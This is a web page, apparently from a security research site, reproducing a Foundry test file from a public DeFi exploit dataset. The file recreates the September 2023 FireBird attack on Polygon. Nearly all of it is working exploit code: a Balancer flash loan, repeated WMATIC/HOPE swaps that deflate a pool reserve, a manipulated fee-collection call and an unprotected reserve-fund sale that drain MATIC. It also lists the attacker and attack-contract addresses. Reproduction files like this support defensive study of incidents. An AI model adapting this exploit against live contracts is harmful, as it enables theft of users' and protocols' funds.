Skip to content
THREATWIRE

Public reproduction file

src/test/2023-09/FireBirdPair_exp.sol

Public reproduction file for dataset entry FireBirdPair.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-09/FireBirdPair_exp.sol140 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~8536 MATIC (This tx exploit 3211 MATIC)
8// Attacker : https://polygonscan.com/address/0x8e83cd1bad00cf933b86214aaaab4db56abf68aa
9// Attack Contract : https://polygonscan.com/address/0x22b1a115b16395e5ebd50f4f82aef3a159e1c6d1
10// Vulnerable Contract : https://polygonscan.com/address/0x5e9cd0861f927adeccfeb2c0124879b277dd66ac
11// Attack Tx : https://polygonscan.com/tx/0x96d80c609f7a39b45f2bb581c6ba23402c20c2b6cd528317692c31b8d3948328
13interface IFireBirdRouter {
14 function swapExactTokensForTokens(
15 address tokenIn,
16 address tokenOut,
17 uint256 amountIn,
18 uint256 amountOutMin,
19 address[] memory path,
20 uint8[] memory dexIds,
21 address to,
22 uint256 deadline
23 ) external returns (uint256[] memory amounts);
26interface IFirebirdReserveFund {
27 function collectFeeFromProtocol() external;
28 function sellTokensToUsdc() external;
31interface IFireBirdPair {
32 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
33 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
36interface IHOPE is IERC20 {
37 function transferFrom(address holder, address recipient, uint256 amount) external returns (bool);
40interface IProxyUSDC is IUSDC {
41 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
44contract ContractTest is Test {
45 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
46 IWETH WMATIC = IWETH(payable(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270));
47 IFireBirdRouter Router = IFireBirdRouter(0xb31D1B1eA48cE4Bf10ed697d44B747287E785Ad4);
48 IFirebirdReserveFund ReserveFund = IFirebirdReserveFund(0x5D53C9F5017198333C625840306D7544516618e4);
49 IFireBirdPair FLP = IFireBirdPair(0x5E9cd0861F927ADEccfEB2C0124879b277Dd66aC);
50 IFireBirdPair ce2c_FBP = IFireBirdPair(0xCe2cB67b11ec0399E39AF20433927424f9033233);
51 IProxyUSDC USDC = IProxyUSDC(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);
52 IHOPE HOPE = IHOPE(0xd78C475133731CD54daDCb430F7aAE4F03C1E660);
53 uint256 amount = 286_000_000_000_000_000_000_000;
55 function setUp() public {
56 vm.createSelectFork("polygon", 48_149_138 - 1);
57 vm.label(address(Balancer), "Balancer");
58 vm.label(address(WMATIC), "WMATIC");
59 vm.label(address(USDC), "USDC");
60 vm.label(address(HOPE), "HOPE");
61 vm.label(address(Router), "Router");
62 vm.label(address(ReserveFund), "ReserveFund");
63 vm.label(address(FLP), "FLP");
64 vm.label(address(ce2c_FBP), "ce2c_FBP");
65 approveAll();
66 }
68 function testExploit() external {
69 uint256 startMATIC = WMATIC.balanceOf(address(this));
70 console.log("Before Start: %d MATIC", startMATIC);
72 address[] memory tokens = new address[](1);
73 tokens[0] = address(WMATIC);
74 uint256[] memory amounts = new uint256[](1);
75 amounts[0] = amount;
76 bytes memory userData = "";
77 Balancer.flashLoan(address(this), tokens, amounts, userData);
79 uint256 intRes = WMATIC.balanceOf(address(this)) / 1 ether;
80 uint256 decRes = WMATIC.balanceOf(address(this)) - intRes * 1e18;
81 console.log("Attack Exploit: %s.%s MATIC", intRes, decRes);
82 }
84 function receiveFlashLoan(
85 address[] memory tokens,
86 uint256[] memory amounts,
87 uint256[] memory feeAmounts,
88 bytes memory userData
89 ) external {
90 for (uint256 i = 0; i < 3; i++) {
91 WMATIC_HOPE_PairSwap();
92 }
93 WMATIC.transfer(address(Balancer), amount);
94 }
96 function WMATIC_HOPE_PairSwap() internal returns (uint256) {
97 uint256 amountIn = 226_000_000_000_000_000_000_000;
98 uint256 secAmount = routerSwap(address(WMATIC), address(USDC), amount - amountIn, 1, address(ce2c_FBP), 1); // swap WMATIC to USDC
99 for (uint256 i = 0; i < 3; i++) {
100 amountIn = routerSwap(address(WMATIC), address(HOPE), amountIn, 1, address(FLP), 1); // swap WMATIC to HOPE, deflate HOPE reserve in WMATIC-HOPE LP
101 ReserveFund.collectFeeFromProtocol(); // collect fee from protocol, burn WMATIC-HOPE LP, sent WMATIC to 'FirebirdReserveFund', a large amount of WMATIC-HOPE LP mint through manipulated mintLiquidityFee() function
102 amountIn = routerSwap(address(HOPE), address(WMATIC), amountIn, 1, address(FLP), 1); // swap HOPE to WMATIC back
103 }
104 ReserveFund.sellTokensToUsdc(); // 'FirebirdReserveFund' swap WMATIC to USDC without slippage protection
105 routerSwap(address(USDC), address(WMATIC), secAmount, 1, address(ce2c_FBP), 1); // swap USDC to WMATIC back
106 return amountIn;
107 }
109 function routerSwap(
110 address tokenIn,
111 address tokenOut,
112 uint256 amountIn,
113 uint256 amountOutMin,
114 address path,
115 uint8 dexId
116 ) internal returns (uint256) {
117 address[] memory paths = new address[](1);
118 paths[0] = path;
119 uint8[] memory dexIds = new uint8[](1);
120 dexIds[0] = dexId;
122 uint256[] memory results = new uint256[](2);
123 results = Router.swapExactTokensForTokens(
124 tokenIn, tokenOut, amountIn, amountOutMin, paths, dexIds, address(this), type(uint256).max
125 );
126 return results[1];
127 }
129 function approveAll() internal {
130 WMATIC.approve(address(Router), type(uint256).max);
131 WMATIC.approve(address(FLP), type(uint256).max);
132 WMATIC.approve(address(ce2c_FBP), type(uint256).max);
133 USDC.approve(address(FLP), type(uint256).max);
134 USDC.approve(address(ce2c_FBP), type(uint256).max);
135 USDC.approve(address(Router), type(uint256).max);
136 HOPE.approve(address(Router), type(uint256).max);
137 HOPE.approve(address(FLP), type(uint256).max);
138 HOPE.approve(address(this), type(uint256).max);
139 }

Analysis

Dataset entry

Public Foundry test for “FireBirdPair” (2023-09-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x8e83cd1bad00cf933b86214aaaab4db56abf68aa

  • Attack Contract

    0x22b1a115b16395e5ebd50f4f82aef3a159e1c6d1

  • Vulnerable Contract

    0x5e9cd0861f927adeccfeb2c0124879b277dd66ac

  • Attack Tx

    0x96d80c609f7a39b45f2bb581c6ba23402c20c2b6cd528317692c31b8d3948328

File record

Name
FireBirdPair
Path
src/test/2023-09/FireBirdPair_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1ee41210053a9b04e3229a0a4f0166c06efa7ab1
Language
Solidity
Size
141 lines
Date
2023-09-30
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-09/FireBirdPair_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1ee41210053a9b04e3229a0a4f0166c06efa7ab1, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.